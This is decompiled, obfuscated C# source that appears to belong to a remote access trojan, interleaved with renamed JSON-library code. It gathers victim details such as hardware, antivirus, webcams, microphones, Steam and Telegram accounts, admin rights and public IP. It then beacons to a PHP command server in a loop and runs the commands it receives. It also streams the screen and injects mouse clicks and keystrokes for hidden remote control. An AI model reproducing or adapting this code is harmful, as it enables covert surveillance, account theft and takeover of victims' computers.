internal void _0001()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
ManageFilter("sysinfo", new DecoratorReaderMapper
{
["GPUName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SelectList()),
["CPUName"] = ParserFilterResolver._0001(GlobalIssuerImporter.StartList()),
["BIOS"] = ParserFilterResolver._0001(GlobalIssuerImporter.CalculateList()),
["LANIP"] = ParserFilterResolver._0001(GlobalIssuerImporter.DeleteList()),
["Antivirus"] = ParserFilterResolver._0001(GlobalIssuerImporter.PostList()),
["Firewall"] = ParserFilterResolver._0001(GlobalIssuerImporter.ChangeList()),
["Motherboard"] = ParserFilterResolver._0001(GlobalIssuerImporter.GetList()),
["RAM"] = ParserFilterResolver._0001(GlobalIssuerImporter.ListList()),
["Webcams"] = ParserFilterResolver._0001(DatabaseTestItem.AwakeEvent()),
["Screens"] = ParserFilterResolver._0001(DatabaseTestItem.UpdateEvent()),
["Microphones"] = ParserFilterResolver._0001(DatabaseTestItem.ReadEvent()),
["SteamPath"] = ParserFilterResolver._0001(DatabaseTestItem.ResetEvent()),
["SteamLang"] = ParserFilterResolver._0001(DatabaseTestItem.ReflectEvent()),
["SteamUser"] = ParserFilterResolver._0001(DatabaseTestItem.CalcEvent()),
["SteamUserID"] = ParserFilterResolver._0001(DatabaseTestItem.InstantiateEvent()),
["TelegramPath"] = ParserFilterResolver._0001(DatabaseTestItem.InterruptEvent()),
["FrameworkVersion"] = ParserFilterResolver._0001(GlobalIssuerImporter.RateList()),
["Path"] = ParserFilterResolver._0001(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent))
}.SetClass((TimeState)0, new BroadcasterError[0]), this._0001, _0002);
}
public override bool _0001()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (base._0001() != 0)
{
if (_RulesIssuer == null)
{
return(false);
}
ConfigurationIssuer configurationIssuer = _RulesIssuer as ConfigurationIssuer;
if (configurationIssuer != null && advisorIssuer != configurationIssuer)
{
return(PushRequest(configurationIssuer));
}
return(NewRequest(_RulesIssuer));
}
if (_RulesIssuer == m_SetterIssuer)
{
return(false);
}
_RulesIssuer = m_SetterIssuer;
AwakeRequest(_RulesIssuer);
return(true);
}
public static string FindRecord(string item)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
DirectoryInfo directoryInfo = new DirectoryInfo(item);
FileInfo[] files = directoryInfo.GetFiles();
DirectoryInfo[] directories = directoryInfo.GetDirectories();
InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher();
for (int i = 0; i < directories.Length; i++)
{
DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
decoratorReaderMapper["T"] = ParserFilterResolver._0001("Folder");
decoratorReaderMapper["N"] = ParserFilterResolver._0001(directories[i].Name);
decoratorReaderMapper["S"] = ParserFilterResolver._0001("");
decoratorReaderMapper["M"] = ParserFilterResolver._0001(directories[i].LastWriteTimeUtc.ToString("dd.MM.yyyy HH:mm"));
instanceClassDispatcher.Add(decoratorReaderMapper);
}
for (int j = 0; j < files.Length; j++)
{
DecoratorReaderMapper decoratorReaderMapper2 = new DecoratorReaderMapper();
decoratorReaderMapper2["T"] = ParserFilterResolver._0001("File");
decoratorReaderMapper2["N"] = ParserFilterResolver._0001(files[j].Name);
decoratorReaderMapper2["S"] = ParserFilterResolver._0001(ReponseClassSpec.DisableList(files[j].Length));
decoratorReaderMapper2["M"] = ParserFilterResolver._0001(files[j].LastWriteTimeUtc.ToString("dd.MM.yyyy HH:mm"));
instanceClassDispatcher.Add(decoratorReaderMapper2);
}
return(instanceClassDispatcher.SetClass((TimeState)0, new BroadcasterError[0]));
}
public static string ValidateRecord()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
DriveInfo[] drives = DriveInfo.GetDrives();
InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher();
DriveInfo[] array = drives;
foreach (DriveInfo driveInfo in array)
{
if (driveInfo.IsReady)
{
DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
decoratorReaderMapper["T"] = ParserFilterResolver._0001("Drive");
decoratorReaderMapper["N"] = ParserFilterResolver._0001(driveInfo.Name.Remove(2, 1));
decoratorReaderMapper["S"] = ParserFilterResolver._0001(ReponseClassSpec.DisableList(driveInfo.TotalSize));
decoratorReaderMapper["M"] = ParserFilterResolver._0001("");
instanceClassDispatcher.Add(decoratorReaderMapper);
}
else
{
DecoratorReaderMapper decoratorReaderMapper2 = new DecoratorReaderMapper();
decoratorReaderMapper2["T"] = ParserFilterResolver._0001("Drive");
decoratorReaderMapper2["N"] = ParserFilterResolver._0001(driveInfo.Name.Remove(2, 1));
decoratorReaderMapper2["S"] = ParserFilterResolver._0001("");
decoratorReaderMapper2["M"] = ParserFilterResolver._0001("");
instanceClassDispatcher.Add(decoratorReaderMapper2);
}
}
return(instanceClassDispatcher.SetClass((TimeState)0, new BroadcasterError[0]));
}
private bool ForgotRequest()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
_RulesIssuer = null;
CustomizeError(WatcherComposer.None);
return(false);
}
public DatabaseDicCandidate(ParserFilterResolver spec)
{
//Discarded unreachable code: IL_0002, IL_0006
//IL_0003: Incompatible stack heights: 0 vs 1
//IL_0007: Incompatible stack heights: 0 vs 1
SingletonReader.PushGlobal();
base._002Ector();
ContextClientBridge.RunClient(spec, "token");
m_SetterIssuer = spec;
}
internal override int _0001(ParserFilterResolver init)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (init == null)
{
return(-1);
}
return(collectionIssuer._0001(init));
}
internal override int _0001(ParserFilterResolver param)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (param == null)
{
return(-1);
}
return(m_DescriptorIssuer.SortTest(param));
}
private void InterruptRequest()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
utilsIssuer = m_ParamIssuer;
m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001();
if (m_ParamIssuer != null && ((ParserFilterResolver)m_ParamIssuer)._0001() == Newtonsoft.Rules.UnicodeCategory.Property)
{
m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001();
}
}
public override void _0001(object reference, object ivk)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
DecoratorReaderMapper decoratorReaderMapper = reference as DecoratorReaderMapper;
if (decoratorReaderMapper != null)
{
ParserFilterResolver map = (ivk as ParserFilterResolver) ?? new PoolIssuer(ivk);
decoratorReaderMapper[Name] = map;
}
}
internal override void _0001(int def, ParserFilterResolver attr, bool isconsumer)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (attr == null || attr._0001() != Newtonsoft.Rules.UnicodeCategory.Comment)
{
if (_0004() != null)
{
throw new ListenerTestItem("{0} cannot have multiple values.".ListReader(CultureInfo.InvariantCulture, typeof(WatcherIssuer)));
}
base._0001(0, attr, stripcomp: false);
}
}
public object _0001(object first, Type second)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
ContextClientBridge.RunClient(first, "value");
ParserFilterResolver parserFilterResolver = first as ParserFilterResolver;
if (parserFilterResolver == null)
{
throw new ArgumentException("Value is not a JToken.", "value");
}
return(m_CustomerProperty.InterruptBroadcaster(parserFilterResolver, second, interpreterProperty, watcherProperty));
}
private bool PushRequest(ConfigurationIssuer first)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
ParserFilterResolver parserFilterResolver = first._0002();
if (parserFilterResolver == null)
{
return(PrepareRequest(first));
}
AwakeRequest(parserFilterResolver);
_RulesIssuer = parserFilterResolver;
advisorIssuer = first;
return(true);
}
internal override void _0001(int endvalue, ParserFilterResolver pol)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (endvalue != 0)
{
throw new ArgumentOutOfRangeException();
}
if (!ConfigurationIssuer.ExcludeClass(_0004(), pol))
{
((DecoratorReaderMapper)base._0001())?.LoginRequest(this);
base._0001(0, pol);
((DecoratorReaderMapper)base._0001())?.RevertClass(this);
}
}
private void ReadRequest(ConfigurationIssuer last)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (m_ParamIssuer == null)
{
_ContextIssuer = last;
}
else
{
m_ParamIssuer.SetupClass(last);
}
m_ParamIssuer = last;
utilsIssuer = last;
}
private bool PrepareRequest(ConfigurationIssuer first)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
WatcherComposer?watcherComposer = IncludeRequest(first);
if (watcherComposer.HasValue)
{
CustomizeError(watcherComposer.GetValueOrDefault());
_RulesIssuer = first;
advisorIssuer = first;
return(true);
}
return(NewRequest(first));
}
public override void _0001(RecordClassDispatcher v, BroadcasterError[] counter)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
v._0002(m_RepositoryIssuer);
ParserFilterResolver parserFilterResolver = _0004();
if (parserFilterResolver != null)
{
parserFilterResolver._0001(v, counter);
}
else
{
v._0008();
}
}
public void _0003(ParserFilterResolver param)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
CustomizeClass();
ParserFilterResolver cust = param ?? PoolIssuer.VisitRequest();
if (collectionIssuer.m_ServerIssuer == null)
{
_0001(0, cust, isconsumer: false);
}
else
{
_0001(0, cust);
}
}
public static void CallFilter(string asset, string selection)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
new Thread((ThreadStart) delegate
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
SortFilter(asset, selection);
DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper
{
["ServerType"] = ParserFilterResolver._0001("C#"),
["ServerVer"] = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent),
["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"),
["isWebcam"] = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"),
["isAdmin"] = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"),
["WinVer"] = ParserFilterResolver._0001(ObserverEvent.VerifyList()),
["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()),
["PCName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()),
["UserName"] = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()),
["TAG"] = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()),
["IpInfo"] = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json"))
};
while (true)
{
try
{
decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent());
string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>());
if (text.Length > 1)
{
DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text);
if (decoratorReaderMapper2.get_Count() > 0)
{
DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection);
}
}
Thread.Sleep(1000);
}
catch
{
Thread.Sleep(10000);
}
}
}).Start();
}
internal void InstantiateRequest(PoolIssuer first, WatcherComposer col)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (m_ParamIssuer != null)
{
m_ParamIssuer.Add(first);
utilsIssuer = ((ParserFilterResolver)m_ParamIssuer)._0003();
if (((ParserFilterResolver)m_ParamIssuer)._0001() == Newtonsoft.Rules.UnicodeCategory.Property)
{
m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001();
}
}
else
{
_PublisherIssuer = (first ?? PoolIssuer.VisitRequest());
utilsIssuer = _PublisherIssuer;
}
}
internal override void _0001(TagTestItem asset, bool excludepol, bool containstag, bool extractident2)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
DatabaseDicCandidate databaseDicCandidate = asset as DatabaseDicCandidate;
if (databaseDicCandidate != null && excludepol && containstag && extractident2)
{
if (((TagTestItem)databaseDicCandidate)._0001() == WatcherComposer.None && !((TagTestItem)databaseDicCandidate)._0001())
{
return;
}
ParserFilterResolver parserFilterResolver = databaseDicCandidate._0001()._0001();
if (m_ParamIssuer != null)
{
m_ParamIssuer.Add(parserFilterResolver);
utilsIssuer = ((ParserFilterResolver)m_ParamIssuer)._0003();
if (((ParserFilterResolver)m_ParamIssuer)._0001() == Newtonsoft.Rules.UnicodeCategory.Property)
{
m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001();
GetTest(WatcherComposer.Null);
}
}
else
{
utilsIssuer = parserFilterResolver;
if (_ContextIssuer == null && _PublisherIssuer == null)
{
_ContextIssuer = (parserFilterResolver as ConfigurationIssuer);
_PublisherIssuer = (parserFilterResolver as PoolIssuer);
}
}
databaseDicCandidate.AssetError();
}
else
{
base._0001(asset, excludepol, containstag, extractident2);
}
}
private bool NewRequest(ParserFilterResolver key)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (key == m_SetterIssuer)
{
return(ForgotRequest());
}
ParserFilterResolver parserFilterResolver = key._0006();
if (parserFilterResolver == null || parserFilterResolver == key || key == ((ParserFilterResolver)key._0001())._0003())
{
if (key._0001() == null)
{
return(ForgotRequest());
}
return(PrepareRequest(key._0001()));
}
_RulesIssuer = parserFilterResolver;
AwakeRequest(_RulesIssuer);
return(true);
}
internal override bool _0001(ParserFilterResolver item)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
throw new ListenerTestItem("Cannot add or remove items from {0}.".ListReader(CultureInfo.InvariantCulture, typeof(WatcherIssuer)));
}
internal override bool _0002(ParserFilterResolver spec)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
return(_0004() == spec);
}
public static void ComputeEvent(string var1, int length_cont, bool wantrule, bool isvalue2, string ident3, string pol4)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (m_System == null)
{
Screen screen = Screen.PrimaryScreen;
try
{
Screen[] allScreens = Screen.AllScreens;
foreach (Screen screen2 in allScreens)
{
if (var1 == screen2.DeviceName)
{
screen = screen2;
break;
}
}
}
catch
{
}
DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
decoratorReaderMapper["w"] = ParserFilterResolver._0001(screen.Bounds.Width);
decoratorReaderMapper["h"] = ParserFilterResolver._0001(screen.Bounds.Height);
DispatcherInstanceExpression.ExcludeFilter("rdscreensize", decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0]), ident3, pol4);
m_System = new Thread((ThreadStart) delegate
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
while (!identifier)
{
DispatcherInstanceExpression.CustomizeFilter(ValClientBridge.PrepareList(ValClientBridge.PushList(ValClientBridge.IncludeList(screen), screen.Bounds.Width / length_cont, screen.Bounds.Height / length_cont)), "rdscreen", ident3, pol4);
Thread.Sleep(100);
}
identifier = false;
});
m_System.Start();
if (wantrule || isvalue2)
{
new Thread((ThreadStart) delegate
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
while (!identifier)
{
string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(ident3 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(ident3)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pol4))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1]
{
"~*"
}, StringSplitOptions.None);
string[] array2 = array;
foreach (string text in array2)
{
if (text.Length >= 1)
{
if (text.Contains("@~"))
{
string[] array3 = text.Split(new string[1]
{
"@~"
}, StringSplitOptions.None);
switch (array3[0])
{
case "M":
Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y);
break;
case "RD":
Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
break;
case "RU":
Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
break;
case "LD":
Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
break;
case "LU":
Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
break;
}
}
else
{
SendKeys.SendWait(text);
}
Thread.Sleep(10);
}
}
Thread.Sleep(100);
}
}).Start();
}
}
}
private DateTime _0001(IFormatProvider setup)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
return(ParserFilterResolver._0001((ParserFilterResolver)this));
}
public override object _0001(TagTestItem ident, Type b, object field, PrototypeError config2)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (ident._0001() == WatcherComposer.Null)
{
return(null);
}
FactoryDicCandidate factoryDicCandidate = null;
string text = null;
InstanceClassDispatcher instanceClassDispatcher = null;
ident.SortError();
while (ident._0001() == WatcherComposer.PropertyName)
{
string text2 = ident._0001().ToString();
if (string.Equals(text2, "Case", StringComparison.OrdinalIgnoreCase))
{
ident.SortError();
UtilsClientBridge utilsClientBridge = m_ParameterIssuer.InitReader(b);
text = ident._0001().ToString();
factoryDicCandidate = utilsClientBridge.m_StatusIssuer.SingleOrDefault((FactoryDicCandidate P_0) => P_0._HelperIssuer == text);
if (factoryDicCandidate == null)
{
throw StrategyError.PatchComposer(ident, "No union type found with the name '{0}'.".ListReader(CultureInfo.InvariantCulture, text));
}
}
else
{
if (!string.Equals(text2, "Fields", StringComparison.OrdinalIgnoreCase))
{
throw StrategyError.PatchComposer(ident, "Unexpected property '{0}' found when reading union.".ListReader(CultureInfo.InvariantCulture, text2));
}
ident.SortError();
if (ident._0001() != WatcherComposer.StartArray)
{
throw StrategyError.PatchComposer(ident, "Union fields must been an array.");
}
instanceClassDispatcher = (InstanceClassDispatcher)ParserFilterResolver.SelectClass(ident);
}
ident.SortError();
}
if (factoryDicCandidate == null)
{
throw StrategyError.PatchComposer(ident, "No '{0}' property with union name found.".ListReader(CultureInfo.InvariantCulture, "Case"));
}
object[] array = new object[factoryDicCandidate.exceptionIssuer.Length];
if (factoryDicCandidate.exceptionIssuer.Length != 0 && instanceClassDispatcher == null)
{
throw StrategyError.PatchComposer(ident, "No '{0}' property with union fields found.".ListReader(CultureInfo.InvariantCulture, "Fields"));
}
if (instanceClassDispatcher != null)
{
if (factoryDicCandidate.exceptionIssuer.Length != instanceClassDispatcher.get_Count())
{
throw StrategyError.PatchComposer(ident, "The number of field values does not match the number of properties defined by union '{0}'.".ListReader(CultureInfo.InvariantCulture, text));
}
for (int i = 0; i < instanceClassDispatcher.get_Count(); i++)
{
ParserFilterResolver parserFilterResolver = instanceClassDispatcher[i];
PropertyInfo propertyInfo = factoryDicCandidate.exceptionIssuer[i];
array[i] = parserFilterResolver.ListClass(propertyInfo.PropertyType, config2);
}
}
object[] task = new object[1]
{
array
};
return(factoryDicCandidate.m_DatabaseIssuer.ConnectIssuer(task));
}
private void AwakeRequest(ParserFilterResolver item)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
switch (item._0001())
{
case UnicodeCategory.Object:
CustomizeError(WatcherComposer.StartObject);
break;
case UnicodeCategory.Array:
CustomizeError(WatcherComposer.StartArray);
break;
case UnicodeCategory.Constructor:
QueryError(WatcherComposer.StartConstructor, ((IndexerReaderMapper)item)._0001());
break;
case UnicodeCategory.Property:
QueryError(WatcherComposer.PropertyName, ((WatcherIssuer)item)._0001());
break;
case UnicodeCategory.Comment:
QueryError(WatcherComposer.Comment, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Integer:
QueryError(WatcherComposer.Integer, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Float:
QueryError(WatcherComposer.Float, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.String:
QueryError(WatcherComposer.String, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Boolean:
QueryError(WatcherComposer.Boolean, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Null:
QueryError(WatcherComposer.Null, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Undefined:
QueryError(WatcherComposer.Undefined, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Date:
{
object obj2 = ((PoolIssuer)item)._0001();
if (obj2 is DateTime)
{
DateTime param = (DateTime)obj2;
obj2 = DescriptorIteratorMapping.ReadProperty(param, base._0001());
}
QueryError(WatcherComposer.Date, obj2);
break;
}
case UnicodeCategory.Raw:
QueryError(WatcherComposer.Raw, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Bytes:
QueryError(WatcherComposer.Bytes, ((PoolIssuer)item)._0001());
break;
case UnicodeCategory.Guid:
QueryError(WatcherComposer.String, UpdateRequest(((PoolIssuer)item)._0001()));
break;
case UnicodeCategory.Uri:
{
object obj = ((PoolIssuer)item)._0001();
Uri uri = obj as Uri;
QueryError(WatcherComposer.String, ((object)uri != null) ? uri.OriginalString : UpdateRequest(obj));
break;
}
case UnicodeCategory.TimeSpan:
QueryError(WatcherComposer.String, UpdateRequest(((PoolIssuer)item)._0001()));
break;
default:
throw CustomerListAnnotation.ConcatIssuer("Type", item._0001(), "Unexpected JTokenType.");
}
}
